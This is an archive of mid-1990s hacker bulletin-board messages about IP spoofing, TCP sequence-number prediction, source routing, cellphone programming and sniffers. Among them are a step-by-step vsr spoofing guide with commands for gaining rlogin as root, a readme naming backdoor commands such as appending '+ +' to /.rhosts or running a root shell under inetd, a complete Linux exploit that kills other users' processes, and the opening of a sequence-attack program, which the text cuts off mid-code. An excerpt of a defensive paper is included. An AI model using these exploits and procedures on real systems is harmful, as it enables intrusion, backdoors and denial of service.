Subject: Re: The alt.2600/#hack FAQ From: dfi (Asriel) Message-ID: References: Date: Mon, 19 Jun 95 16:49:44 PST Ok, before I cut to the chase and address some of the points you've made, I'm going to seize this opportunity to bring up a point I've been meaning to discuss for quite some time now. For some weird reason (chemical imbalance, that whole u4ea-brainwave-transmission thing with Netta, whatever), you seem to consider driving an automobile and hacking to be analogous. They are NOT, in any way, shape, or form. I'm sorry, but I only wish I could say I was disappointed in you for making such a brainless comparison, but unfortunately, such drivel is only what can be expected from a representative of alt.2600. For the past couple of weeks, an aspect of the underground that I've always dismissed has becomw painfully apperant in my dealings with other individuals in that underground. I always laughed when people tried to shunt the label "hacker" away from us, coming up with other stupid terms... "cracker" or "dark side hacker" or whatever. I'm taking it a little more seriously now. For quite a while now, I've been dealing with "hackers" who CAN'T CODE and consider themselves hot shit because they've taken the time to use the meager, poached hacking resources they have at hand to break into "high profile" sites. The kind of people who expect us to be impressed when they show us how they managed to break into a site exporting filesystems to localhost, or containing a sendmail bug, or having a guessable NIS domain name, or what have you. I've spent the past couple of months poring over and rewriting code, and recently found myself in a situation where I had the {opportunity/necessity} to use some of those tools to get something done... and I found hacking with tools to be mind-nubingly boring. The way I see it, hacking is justifiable only as an intellectual challenge. It's a GAME. It's not liberation of information or challenging society or anything. It's just a chance to prove to OTHER hackers, admins, and yourself, that you're smarter or that you know more. Which is why I find it hard to respect people who do the same shit over and over again, cllecting insecure sites like baseball cards (and in the saddest of cases, trading them as well) using the same tools day in and day out. Hell, watch #hack some time... the "new holes" come out and are tossed about in EXACTLY THE SAME FASHION AS WAREZ. "Do you have the new sendmail exploit?" "yeah, I'll like trade you for like a packet sniffer for Irix n shit". This is hacking? Your abilities are dependant on who your FRIENDS are, not how smart you are... and you take pride in this? That's pretty scary. In my opinion, and please remember that it IS my OPINION, if you do net hacking and you can't code, you're not a hacker. It has nothing to do with information or originality, although originality counts for a lot. ANYTHING I KNOW is in the public domain, as long as you ask the right questions... unfortunately, as ReDragon puts it, people on #hack don't want to learn, they just want answers. Answers = exploits = something I'm not cool with seeing tossed into the public domain. Driving isn't a game. It's not illegal, it IS in some cases a necessity, and there's no ability or challenge involved (if you think driving involves ability, y'all should see Corporeal drive sometime). We're dealing with two completely different paradigms here. Which brings us to you. Simply stated, your document is remarkable in the sheer enormity of the lack of real information in it. Code for old packet sniffers is not information, neither is lists of dead loops. If you want to "shut the lamers up", as you so deftly put it, when they ask a question just say "nuh-uh, not possible, shut up". "How do you sniff packets on an ethernet?" "You can't. It's not possible, it's all a big hacker myth. Now go away." Or do what I've been doing lately. "Simple. Put the interface into promiscuous mode and read packets from some facility that gives you access to the raw network. Go look up dlpi, bpf, nit, and read the 4.3 BSD Design & Implementation book." 15 year olds get really MAD when you say things like that. DON'T "/dcc send DarkForce sniffer.c" Wow. I'm long winded. Address this point and I'll consider my indepth examination of your FAQ. dfi2049 Subject: Re: Uniden CP 1500 From: voyager (Voyager) Message-ID: References: Date: Thu, 29 Jun 95 01:12:10 PST > can still fuck with the software rom.. If anyone knows anyting about Uniden > bags or specifically this one, let me know.. Chris Do you have the CP 1500 or the CP 1500A? I'll assume the CP 1500. First off, a bit of wiring information: Red: Battery Black: Ground Green: Horn White: Ignition This phone has 832 channels, and is not AMPS compatible. Your ESN prefix is 172(dec) or AC(hex). To program this phone, you MAY or MAY NOT need a service handset. If you have a 1500A, you will not need a handset. If you have a 1500 with a serial number below 01482012, you will need a service handset. If you have a 1500 with a serial number above 01482012, you will not need a service handset. Let me know which phone you have and I'll get you more information. To display your own number: RCL + 3 + 3 To display your system ID: RCL + 7 + 2 Toggle Auto-Answer: RCL + 6 + 9 Call In Absence Indicator: RCL + 4 + 6 Toggle Handset/Handfree: RCL + 6 + 6 Handset Volume: RCL + 7 + 5 + 2 + ARROWS Redial: RCL + 0 + 0 + SEND Keypad Volume: RCL + 7 + 5 + 3 + ARROWS LOCK: RCL + 7 + 7 + CODE (Default is 0123) Ring Volume: RCL + 7 + 5 + 1 Signal Strength Indicator: RCL + 5 + 5 System Select: X + STO + 8 + 8 X=1: A Only X=2: B Only X=3: Home X=4: AB or BA (Standard) X=5: BA or AB (Alternate) X=6: Programmed SID Review System Select: RCL + 8 + 8 I can type the rest of this awful thing in if you are serious about making this phone work. Voyager[TNO] Subject: sequencing From: cat (Cat Passwd) Message-ID: <5Dos8c1w164w@upt.whoot> Date: Thu, 06 Jul 95 01:52:27 PST The concept of TCP sequence number prediction is pretty simple. I wont go into the details (unless someone wants me to) and it's pretty well documented in papers by various people (Bellovin's is probably the best). For sequencing to be of much use, it usually has to be combined with some type of ip spoofing. A couple ways this can be done are with vsr, and by forging packets. The preferred method is packet forging (well, at least for me). The process of building packet headers from scratch and shoving them into the nit isn't really that hard. I wont go into specifics on that topic right now either. On a related note, linux is soon to be getting it's own nit, which will make packet forging even easier, since having a linux box of your own is more common then having a sun box or whatever. Packet forging can be accomplished with linux currently, but it requires either a kernel hack.. or writing your own nit. Anyhow, here's a scenario explaining the use of sequencing and ip spoofing (via packet forging). This is an explanation of how one particular person who is using sequencing/spoofing a lot to spoof his host on irc. First, you need to flood out the host that you're intending to fake on irc with a bunch of initial connection requests (SYN's). This will flood the connection queue with half-open connections, so it will not respond to any new connection requests. And, will not generate RSTs to unexpected SYN/ACKS it will get from the host you're going to connect to (irc server in this case). Once you flood the host, you then make your intial connection request to the irc server (SYN) with a forged packet with the ip of the host you intend to fake. The irc server will then send a SYN/ACK to the ip in the forged packet header (the host you're faking, and which is flooded). The real host will ignore the packet, and here's where sequencing comes in. You then send a SYN/ACK also bearing the ip of the host you intend to faked with predicted sequence numbers. (you must first determine the behavior of the irc server's tcp sequence number generator, which can be done by sending a bunch of connection attempts). Your actual host will never receive any packets from the irc server (the flooded/faked host will, and should ignore them) but you can communicate with it by predicting it's behavior, and sending responses with the corect sequence numbers. Once the connection is made, it is an interactive (not for us though) stream socket, and you could send whatever irc stuff to it you want, and you will appear to be from whichver host you faked when you're on irc. (This is of course a raw irc connection, so coding a mini-client would be useful) As I look back, my description of all this really isn't very good, so feel free to point out my errors. If anyone is interested, I'll round up some papers on sequencing and/or spoofing and upload them. cat /etc/passwd Subject: Re: heya people... From: root (System Administrator) Message-ID: References: <60gs8c1w164w@upt.whoot> Date: Wed, 05 Jul 95 23:34:37 PST To: vaxb (VaxBuster) > Ok, what have they done with tcp_sequencing? Im not so clear on the concept, > fill me in. How are they doing what they're doing? What tools are they using > You cant use(or dont have?) the tools they're using? I have to admit i'm > pretty sceptical because I havent personally seen or heard any of my friends > do it. Neither have they. BTW: a couple of these tools ring bells? VSR or > Neuman's tcp sequencer? Sound familiar? > > Lemme know.... Thanks! i know merc and some of those kene posse guys used vsr a hell of a lot. and in the previous post you mentioned sniffers.. well, there is a keen sniffer that we've used a shitload on linux boxes that works quite well. it should be in the file section somewhere (not the lame one that everyone grabs and is disappointed with.. that doesn't even come with source code). From herp Mon May 16 21:29 MDT 1994 Content-Length: 3336 Simpletons guide to IP spoofing via vsr from ji@lehman.com. This will only work against SysV type hosts (Solaris, IRIX, AIX, BSDI tested). It will require root on one sun 4.1.3m host and root on another host in the same domain whereby you can change routes. It might also work from sun 4.1.xc to any other host but this is untested. Actual typed instructions begin with a hostx# in front of them. Things sent from the commands typed have nothing in front of them, and MY information will begin with a *. host1# make vsr host1# modload vsr.sun4m.o host1# modstat host1# mknod /dev/vsr c CMAJOR_DEVICE_NUMBER_FROM_MODSTAT 0 host1# ifconfig vsr0 IP_TO_SPOOF up host1# netstat -rn | grep IP_TO_SPOOF *---------------- *Depending upon the domain size, one of the following will appear from the *previous grep. 1st, 2nd, 3rd are the octects of the IP you wish to spoof. *case one: 1st.2nd.3rd.0 IP_TO_SPOOF U 0 0 vsr0 host1# route delete 1st.2nd.3rd.0 IP_TO_SPOOF *case two: 1st.2nd.0.0 IP_TO_SPOOF U 0 0 vsr0 host1# route delete 1st.2nd.0.0 IP_TO_SPOOF *---------------- host1# route add IP_TO_SPOOF IP_TO_SPOOF 0 add host IP_TO_SPOOF: gateway IP_TO_SPOOF host1# ./setlsr /dev/vsr IP_OF_HOST2 *Now switch hosts to host two. host2# route add host IP_TO_SPOOF IP_OF_HOST1 1 add host IP_TO_SPOOF: gateway IP_OF_HOST1 host1# route add host TARGET IP_TO_SPOOF 0 add host TARGET: gateway IP_TO_SPOOF host1# rlogin -l root TARGET if IP_TO_SPOOF is a trusted host of host TARGET, then you can rlogin as any user. This is especially dangerous to Solaris machines because nearly everything is NOT owned by root (as it should be) but owned by groups sys and user bin. setlsr sets up loose source routes through gateway addresses. If a machine is firewalled, but thier gateway machine does not have source routing turned off, its possible to "bounce" your connection through thier firewall. The firewall will forward your packets to and from TARGET. In this fashion, firewalls can be quite worthless if source routing is not turned off. There is a simple option in the router configuration to do so on CISCO routers, however most firewalled hosts have not shut them off! Some hosts have multiple firewalls. For example, lets assume the following configuration. ---------Firewall2---------- | | ----Firewall-GW--------- --------Firewall3------TARGET The objective is to get to 'TARGET'. If we do not follow the path Firewall-GW -> Firewall2 -> Firewall3 -> TARGET, then our packets will be tossed away. host1# setlsr IP_of_firewall_GW IP_of_firewall2 IP_of_firewall3 This will route our packets just the way we want them to be routed! This of course requires some knowledge of thier internal networks, however, that information is not too difficult to determine. Many TARGET hosts hidden behind multiple firewalls have no form of security whatsoever, including no password on user 'root'. You may think this example is peculiar, but many large corporations have several layers of firewalls to protect thier most sensitive work. Also note that you can bounce through machines that are not routers. Any machine can act as a bounce host as long as it supports ip forwarding. -whoop ? Subject: TCP Sequencing From: tknight (Tobias Knight) Message-ID: Date: Thu, 06 Jul 95 12:17:51 PST Here's a paper I got somewhere on tcp sequencing. TCP SEQUENCING One of the more fascinating security holes was first described by Morris[7]. Briefly, he used TCP sequence number prediction to construct a TCP packet sequence without ever receiving any responses from the server. This allowed him to spoof a trusted host on a local network. The normal TCP connection establishment sequence involves a 3-way handshake. The client selects and transmits an initial sequence number ISNC, the server acknowledges it and sends its own sequence number ISNS, and the client acknowledges that. Following those three messages, data transmission may take place. The exchange may be shown schematically as follows: C->S:SYN(ISNC) S->C:SYN(ISNS),ACK(ISNC) C->S:ACK(ISNS) C->S:data and/or S->C:data That is, for a conversation to take place, C must first hear ISNS, a more or less random number. Suppose, though, that there was a way for an intruder X to predict ISNS. In that case, it could send the following sequence to impersonate trusted host T: X->S:SYN(ISNX),SRC=T S->T:SYN(ISNS),ACK(ISNX) X->S:ACK(ISNS),SRC=T X->S:ACK(ISNS),SRC=T,nasty-data Even though the message S->T does not go to X, X was able to know its contents, and hence could send data. If X were to perform this attack on a connection that allows command execution (i.e., the Berkeley rsh server), malicious commands could be executed. How, then, to predict the random ISN? In Berkeley systems, the initial sequence number variable is incremented by a constant amount once per second, and by half that amount each time a connection is initiated. Thus, if one initiates a legitimate connection and observes the ISNS used, one can calculate, with a high degree of confidence, ISNS' used on the next connection attempt. Morris points out that the reply message S->T:SYN(ISNS),ACK(ISNX) does not in fact vanish down a black hole; rather, the real host T will receive it and attempt to reset the connection. This is not a serious obstacle. Morris found that by impersonating a server port on T, and by flooding that port with apparent connection requests, he could generate queue overflows that would make it likely that the S->T message would be lost. Alternatively, one could wait until T was down for routine maintenance or a reboot. A variant on this TCP sequence number attack, not described by Morris, exploits the netstat[8] service. In this attack, the intruder impersonates a host that is down. If netstat is available on the target host, it may supply the necessary sequence number information on another port; this eliminates all need to guess1. __________ 1. The netstat protocol is obsolete, but is still present on some Internet hosts. Security concerns were not Defenses Obviously, the key to this attack is the relatively coarse rate of change of the initial sequence number variable on Berkeley systems. The TCP specification requires that this variable be incremented approximately 250,000 times per second; Berkeley is using a much slower rate. However, the critical factor is the granularity, not the average rate. The change from an increment of 128 per second in 4.2BSD to 125,000 per second in 4.3BSD is meaningless, even though the latter is within a factor of two of the specified rate. Let us consider whether a counter that operated at a true 250,000 hz rate would help. For simplicity's sake, we will ignore the problem of other connections occurring, and only consider the fixed rate of change of this counter. To learn a current sequence number, one must send a SYN packet, and receive a response, as follows: X->S: SYN(ISNX) S->X: SYN(ISNS),ACK(ISNX) (1) The first spoof packet, which triggers generation of the next sequence number, can immediately follow the server's response to the probe packet: X->S: SYN(ISNX),SRC=T (2) The sequence number ISNS used in the response S->T: SYN(ISNS),ACK(ISNX) is uniquely determined by the time between the origination of message (0) and the receipt at the server of message (0). But this number is precisely the round-trip time between X and S. Thus, if the spoofer can accurately measure (and predict) that time, even a 4-second clock will not defeat this attack. How accurately can the trip time be measured? If we assume that stability is good, we can probably bound it within 10 milliseconds or so. Clearly, the Internet does not exhibit such stability over the long-term[9], but it is often good enough over the short term.2 There is thus an uncertainty of ____________________________________________________________ behind its elimination. 2500 in the possible value for ISNS. If each trial takes 5 seconds, to allow time to re-measure the round-trip time, an intruder would have a reasonable likelihood of succeeding in 7500 seconds, and a near-certainty within a day. More predictable (i.e., higher quality) networks, or more accurate measurements, would improve the odds even further in the intruder's favor. Clearly, simply following the letter of the TCP specification is not good enough. We have thus far tacitly assumed that no processing takes places on the target host. In fact, some processing does take place when a new request comes in; the amount of variability in this processing is critical. On a 6 MIPS machine, one tick -- 4 M-seconds -- is about 25 instructions. There is thus considerable sensitivity to the exact instruction path followed. High-priority interrupts, or a slightly different TCB allocation sequence, will have a comparatively large effect on the actual value of the next sequence number. This randomizing effect is of considerable advantage to the target. It should be noted, though, that faster machines are more vulnerable to this attack, since the variability of the instruction path will take less real time, and hence affect the increment less. And of course, CPU speeds are increasing rapidly. This suggests another solution to sequence number attacks: randomizing the increment. Care must be taken to use sufficient bits; if, say, only the low-order 8 bits were picked randomly, and the granularity of the increment was coarse, the intruder's work factor is only multiplied by 256. A combination of a fine-granularity increment and a small random number generator, or just a 32-bit generator, is better. Note, though, that many pseudo-random number generators are easily invertible[10]. In fact, given that most such generators work via feedback of their output, the enemy could simply compute the next "random" number to be picked. Some hybrid techniques have promise -- using a 32- bit generator, for example, but only emitting 16 bits of it -- but brute-force attacks could succeed at determining the seed. One would need at least 16 bits of random data in ____________________________________________________________ 2. At the moment, the Internet may not have such stability even over the short-term, especially on long-haul connections. It is not comforting to know that the security of a network relies on its low quality of service. each increment, and perhaps more, to defeat probes from the network, but that might leave too few bits to guard against a search for the seed. More research or simulations are needed to determine the proper parameters. Rather than go to such lengths, it is simpler to use a cryptographic algorithm (or device) for ISNS generation. The Data Encryption Standard[11] (DES) in electronic codebook mode[12] is an attractive choice as the ISNS source, with a simple counter as input. Alternatively, DES could be used in output feedback mode without an additional counter. Either way, great care must be taken to select the key used. The time-of-day at boot time is not adequate; sufficiently good information about reboot times is often available to an intruder, thereby permitting a brute-force attack. If, however, the reboot time is encrypted with a per-host secret key, the generator cannot be cracked with any reasonable effort. Performance of the initial sequence number generator is not a problem. New sequence numbers are needed only once per connection, and even a software implementation of DES will suffice. Encryption times of 2.3 milliseconds on a 1 MIPS processor have been reported[13]. An additional defense involves good logging and alerting mechanisms. Measurements of the round-trip time -- essential for attacking RFC-compliant hosts -- would most likely be carried out using ICMP Ping messages; a "transponder" function could log excessive ping requests. Other, perhaps more applicable, timing measurement techniques would involve attempted TCP connections; these connections are conspicuously short-lived, and may not even complete SYN processing. Similarly, spoofing an active host will eventually generate unusual types of RST packets; these should not occur often, and should be logged. TK Subject: Re: 5ess switches From: clli (cllisk8r) Message-ID: <3cgy8c3w164w@upt.whoot> References: Date: Sun, 09 Jul 95 04:44:37 PST Calling Directory Number Delivery - via BCLID (CDND/BCLID) will allow the Centrex, Multiline Hunt Group (MLHG) or PBX with DID customer to receive call- related information on calls that are received from outside the Centrex group, MLHG or PBX. The information is transmitted over a dedicated data channel. Generic Name of ONA Service Product Name BSE or CNS ============================================================================== Calling Directory Number Delivery - via BCLID BA - Bulk Caller Line Identification BSE BS - Call Tracking - BCLID BSE PB - Bulk Calling Line Identification (BCLID) BSE USW - Calling Number Identification (BCLID) BSE FEATURE OPERATION: The customer must contact the telephone company to have the CDND/BCLID service initiated. A service order is required. This service is initiated on an individual customer basis for a PBX customer and on a customer group basis for a Centrex or MLHG customer. Parameter changes and possible hardware installation are required. In addition, the customer will require CPE (e.g., a TTY, minicomputer, etc.) capable of receiving the ASCII formatted signaling that will be sent over a dedicated data channel. Once the service is initiated it will remain activated continuously until a request is made to discontinue the service. The output message containing the CDND/BCLID data goes over the dedicated data channel to the customer before ringing is applied to the called line. The transmitted information is as follows: o CDND/BCLID Identifier o The date of the call o The time the call was made o The calling directory number o The line multistatus ("M" for PBX", MLHG, etc. and "T" for true DN) o The called directory number or terminal number and group number o The busy/idle status of the called directory number TECHNOLOGICAL AND FEATURE INTERACTION CONSIDERATIONS: 1. This feature is available in the following central office switches: Switch Type 1A ESS Earliest Generic Release 1AE10* 2. The serving central office switch must be equipped with the appropriate CLASS CDND/BCLID software and hardware. In order to provide call related information on an interoffice basis, both the originating and terminating switches must be equipped with the CLASS and Common Channel Signaling (CCS) SS7 software and hardware and the interoffice trunks must be converted to SS7. This service is only offered on an intraLATA basis at this time. 3. When a customer has more than 10,000 calls per CDND/BCLID channel per hour, call related data for some calls may be lost. 4. Each CDND/BCLID directory number can have only one primary input/output channel and one backup channel to the 1A ESS Switch. 5. A PBX customer that wants to subscribe to BCLID must be assigned to a multiline hunt group or must be a PBX with DID. 6. CDND/BCLID output is not stored in the switch, therefore CPE must be available to collect the information. 7. The customer cannot activate or deactivate this service, it must be done via the service order process. Subject: Re: heya people... From: synapse (Synapse) Message-ID: References: Date: Wed, 12 Jul 95 02:14:31 PST To: vaxb (VaxBuster) > Couple questions just to throw out. > > 1> Has anyone actually done any IP spoofing? I here plenty of talk about it b > when it comes down to actual practical usage, people tell me they've had n > luck at all. I've seen SOME tools out, some that are here and some that > arent, but what it comes down to is simply this : Everything I've tried > fails, so if someone can walk up to HOST C and have it believe its a > completely different IP than it truly is, and has TWO-way or even one-way > communication lemme know. Call me lame, but most other people haven't the > nerve to come out and say it... > I am unsure as to which method of spoofing your IP you are referring to. But yes IP spoofing can and is done. Through a number of techniques be it, packet level, DNS or otherwse. The problem is with forged packets, most routers with any degree of integrity will drop packets from the outside (ie. not behind the router) which are claiming to be from behind the router. Yet if you ARE behind the router you can forge your hostname & or IP and exploit trust a hell of alot easier. As for the DNS stuff most of the attacks I can think of come through faulty record set-ups and negligentmaintinence. There is a tool somewhere called dnswalker I think that covers some DNS weaknesess. It's PD and can be found via archie/gopher/www I would think. Of course beyond all this you can go the fashionable route and tcp seq number attack. There are several of these tools floating around out there, one of which was written by a member of the board here (no scratch that two were written by users here). This seems to be in vogue lately. > 2> Has anyone used a sniffer on anything but a sun or solaris? Everyone says > 'yeah, i gotz a irix sniffer' but that doesnt mean it works. Im talking > you've physically went on another platform, compiled it yourself, run it > yourself and gotten SOME kind of readable packets. How about tcpdump? It > supposedly should compile on most platforms, but almost NEVER does. Atreu > modified tcpdump to produce output just like sunsniff.c, but I have yet to > get it to compile anywhere. Anyone have luck? > I have network analyser put out by SGI that I should think works on IRIX. Wether it does or not I have not clue as I have never had legit access to an irix to test it and I couldn't be bothered to hack an Irix (when I did hack). I have sniffed on AIX, Solaris, Suns and well thats about it. > 3> Also, on the topic of the reemergence of REXD in lots of places, excluding > sun, aix, and SOME HP-UX boxes, no go on other platforms. Im using the > standard on-shar thats been floating around forever... Yeah but it's nice to see running on AIX cause remote access to an AIX (new versions) is about as fun and easy as self scarification with a blowtorch. (intentional scarification) > > And I've seen some people complaining about the script-kiddies, that don't > understand the rootie scripts they run. Although I'm glad to see a fairly > comprehensive collection of tools here, its almost creating a problem in > itself. The usual flow of things is, as you are around longer, and gain > knowledge, the more friends you make, the more tools you get. This process > in general, makes sure that you dont get a tool before you NEED IT, or before > you're ready to not only control distribution of a tool, but to properly In this I agree and disagree with you. I guess the unspoken assumpton here is that the users of UPT have been around and should have access to these tools. In any event there is nothing here which is not common knowledge in the security community. Plus, it's out ofour hands. IRC disseminates tools better than any ftp site could. #hack is like the wuarchive of the underground. > I can't sit here and say that I know EXACTLY how each and every tool I have > operates, because I don't. However, I know what hole is being exploited, HOW > it works, a general idea of how to patch it, and a good idea of what logs or > problems exist. All I'm saying is that people should reconsider who has > access to what, because a bad decision hurts us NOW, and will continue to. > Huh, refreshing honesty kudos to you. I don't exactly agree with you but I can see what your trying to say. Personally I think you if you can't write it, you should try to learn how. Isn't that where the fun is? -syn Subject: my last few questions... From: vaxb (VaxBuster) Message-ID: Date: Thu, 13 Jul 95 17:20:13 PST To: Synapse u wrote.... (when I did hack). I have sniffed on AIX, Solaris, Suns and well thats about it. What have you used to sniff on AIX? Im assuming for Solaris you used Snoop? Also, how about upping that AIX sniffer, that would be handy? As far as VSR, I still have to play around with it a little more, enough people say it works, So I'll assume im the idiot of the group, and I'll see what I can do...Although all previous attempts have been disastrous. "Lag in a middle of a line?" heh, yeah. I have been kind of reluctant to bring up this tool here cause Im not too sure how widely its been distributed, if its on here, etc, but... Has anyone seen/ used/heard about rbone? Here's an excerpt from the readme... Once you've got it compiled you can type 'rbone -h' and it'll tell you the syntax. The program uses three 'hosts'. A) the system you are attacking. The one with the .rhosts file. T) the trusted system. The one that appears in A's .rhosts file. B) a bogus host whose address is reachable, but the host is either not there or not responding. You can find out with ping whether the host you specify meets these criteria. If ping returns a 'host unreachable' message this host won't work. ping should hang or eventually report something like 'host not responding'. What's going to happen is this. rbone will spoof a number (80 by default) of connections requests from B to T. T will try to respond, but will not be able to contact B because it doesn't exist. T is now 'hosed'. It has too many open requests on the given port. Now rbone contacts A and tries to determine a predictable pattern in its TCP sequence numbers. (It is fairly stupid about doing this. See Neuman's comments in rbone.c.) When it is done it will now spoof a connection from T to A. A will respond to T, hopefully with the TCP sequence number we predicted. Normally T would say "I didn't initiate this connection. Kill it," and send a RST packet to A, thus ending our little ploy. But T should still be hosed. It has too many open connections pending and can not respond to A. So we come along and send a spoofed packet from T to A with the sequence number we guess that A used. If we're right, we're set. We send one more packet with the attack command and it should be executed on A. Typically the command would be something like "echo + + >> /.rhosts", but that may not work for various reasons, such as tcp wrappers. We could just as easily add an entry to the /etc/inetd.conf file or even start up another inetd with /bin/sh answering on some arbitrary port. No matter what, it's bad. As you can see, it looks decent - but does it work? Who knows. I've played around a little with it, but not enough to determine its usefulness. Anyone have experience with it? Thanks for your responses, Syn... VaxB Subject: processing From: root (System Administrator) Message-ID: Date: Thu, 13 Jul 95 17:35:21 PST /* This program, when run on most Linux systems (tested with 1.2.9, but should work with versions at least up to 1.2.11 and 1.3.6), will send SIGURG to specified process, even if you don't own it. This signal (unless caught or ignored) will terminate the process, so please don't do that without the permission from your system administrator. Thank you. Copyright (C) 1995 Marek Michalkiewicz This program is free software, see the GNU General Public License for more legalese... There is no warranty - after all, this bug may be fixed soon :-). This piece of code is probably not an example of proper programming style - please don't look at it too closely. The intent is to show a security hole in the Linux kernel. BroUghT 2 U by 0-DaY-Skr1Ptz-1nC!@#$ */ #include #include #include #include #include #include #include #include #define PORT 8765 /* just a random hopefully unused TCP port */ #define ERROR_CHECK(x, msg) do { \ if ((x) == -1) { \ perror(msg); \ exit(1); \ } \ } while (0) int main(int argc, char *argv[]) { int s, s1, child_pid; struct sockaddr_in addr; int one = 1; char c = 0; if (argc != 2) { fprintf(stderr, "usage: %s pid\n", argv[0]); exit(1); } ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" ); ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" ); memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" ); ERROR_CHECK( listen(s, 1), "listen" ); ERROR_CHECK( child_pid = fork(), "fork" ); if (child_pid == 0) { /* child */ int pid_to_kill = atoi(argv[1]); ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" ); ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" ); ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" ); /* !!! */ ERROR_CHECK( write(s1, &c, 1), "child write" ); /* wake up blocked parent */ ERROR_CHECK( read(s1, &c, 1), "child read" ); _exit(0); } ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" ); ERROR_CHECK( read(s1, &c, 1), "read" ); /* block until child is ready */ ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" ); /* this will send SIGURG */ return 0; } Subject: Re: Approaching Solaris From: faust (Faust) Message-ID: References: Date: Sun, 23 Jul 95 19:17:25 PST To: tp (Toxic Phreak) > To: faust (Faust) > > > ...let's kill this part of the thread right here and all the rumors too... > > sunos is still shipping...as solaris 1.1.2 == sunos 4.1.4... > > SunOS is way past that version already. SunOS 5.2 == Solaris 2.2 as it > stands right now. Don't believe everything you read. ...dude i know sunos is way past that...my point was that if u don't want solaris, get sunos 4.1.4 (aka solaris 1.1.2)...all these people saying u can't get sunos anymore drive me nuts...and this isn't from what i read, its from ordering/unpacking/installing the fuckers last month... ^F^ Subject: Re: Lame Source Routing Questions From: agent (Rogue Agent) Message-ID: References: <4yy89c2w164w@upt.whoot> Date: Thu, 03 Aug 95 00:58:46 PST To: tknight (Tobias Knight) > > Okay, after trying to play with various software and read what is > publicly available(not much) I'm still in the dark as far as how source > routing works. How does altering your route to host change the host id in > the header? It doesn't. It does -facilitate- hostname/IP spoofing, however. You need to add an extra step to make it work, something like vsr. > I'm hypothesising that by fakeing ICMP messages you could say > "spoofed host" is down forward to "where you are really coming from" > and that way you get the data thats really for the host you spoofed. Is > this correct? Care to fill me in on the rest of the proccess? Well, no. Source-routing just lets you control the path the connection takes. Once you have that, you need to do something along the path that does the hostname spoofing. Here's the process: you SR the connection (telnet, NFS, whatever) via a second host you control. At that host you use a hostname spoofing interface like vsr. What vsr does is it sets up a virtual interface that translates whatever hostname you're trying to spoof to your real originating IP. So your packets go out from your host, pass through the vsr host, the vsr host translates the hostname to what you're trying to spoof as, and sends them on to the destination. The destination host sends the packets back via the vsr host (since they're source-routed) and the vsr host translates the packets back to your real hostname and sends them to you. You need a combination of controlling the route (source routing) and doing the translating (vsr) to do the spoofing. Get ahold of vsr.txt, it explains it pretty well. And remember, hostname spoofing using vsr and source routing is only going to work if the destination host both allows source routing and does -not- do reverse lookup. Mostly this means older SysV machines; the newer ones tend to have this fixed. It's quite fortunate that they goofed up on Solaris 5.4 and failed to put reverse lookup into it. How that happened I'll never know. RA There, I got off IRC and answered your question. Hope you're happy. Subject: tempest From: tp (Toxic Phreak) Message-ID: Date: Sat, 12 Aug 95 20:26:21 PST SIGINT is the gathering of intelligence from all parts of the electromagnetic spectrum. Within SIGINT are ELINT and COMINT. ELINT is the detection of signals. It typically includes signal analysis - such as the determination of modulation type (e.g. - CW, amplitude, frequency, pulse, phase) and specific parameters (e.g. - pulse width, scan rate, frequency, pulse repetition rate, rise & fall times, modulation index, modulation bandwidth) defining the intercepted signal. Usually includes direction finding (DF) for location by triangulation. COMINT is the intercept of communications signals with the intent of extracting message content and/or identifying the strategic/tactical purpose of the transmission (e.g. - artillery, logistics, command, intelligence, etc.). It typically includes signal analysis such as the determination modulation type and specific parameters (e.g. - frequency, data rate, encryption type) defining the intercepted signal. Usually includes DF for location by triangulation. TEMPEST is only the techniques used to maintain the hardware portion of communications security (COMSEC) and to prevent spurious signals containing unencrypted sensitive information from being inadvertantly radiated from their source facility so as to prevent intercept and analysis. TEMPEST, in itself, is not the eavesdropping; COMINT is. The purpose of TEMPEST is to protect sensitive information and the encryption use to transmit such. SCIF = sensitive compartmented information facility SCIFs are not always built to TEMPEST requirements. Depends on what information is being handled, how it's being handled, and where the SCIF is located. TEMPEST-spec areas most certainly exist. Due to the rather high cost of building a full TEMPEST area, they are usually only a small part of a secure facility. Subject: example of sequence number attack From: root (System Administrator) Message-ID: Date: Tue, 07 Nov 95 16:38:12 PST ************************************************************************** HACK: An IP spoofing and sequence number exploiting program System: TCP/IP Source: Mike Neuman, mcn@EnGarde.com ************************************************************************** /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely * for any non-commercial purpose, and this message and the contact * information must remain intact. For commercial purposes, you MUST contact * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is * available from: ftp://aeneas.mit.edu/pub/gnu/ * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Mike Neuman * En Garde Systems * 525 Clara Avenue, Suite 202 * St. Louis, MO 63112 * mcn@EnGarde.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ipbpf.h" /* Include ipbpf header */ #define BADHOST "16.17.18.19" /* The host to spoof flooding the trusted * host's destination port from. This host shouldn't exist, but should have * correct routing entries. The important part is so that returned packets * go to nowhere. */ #define NUMSEQUENCE 80 /* The number of connections to spoof from BADHOST. I made this big. * I've found 4.4BSD will be flooded with only 8 unacked connections. Your * mileage may vary */ #define NUMTESTS 10 /* How many samples of the sequence numbers do you want to take? * I randomly picked 10 and only take the last result. If I wanted to be * elegant, I'd do some sort of statistical average. Sequence numbers * are generally updated by a fixed number, this attempts to compute * this number taking into account average network lag. Fixed sequence * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and * probably others, although I haven't tested them. */ #define ROUTER "router.EnGarde.com" /* The name of your router to the outside world. Spoofed packets need to * be sent to it's ether/fddi address in order to get to the outside world. */ main(argc, argv) int argc; char *argv[]; { struct hostent *he; u_long trust_addr, targ_addr; u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; u_long next_seq, offset; if (argc!=3) { fprintf(stderr, 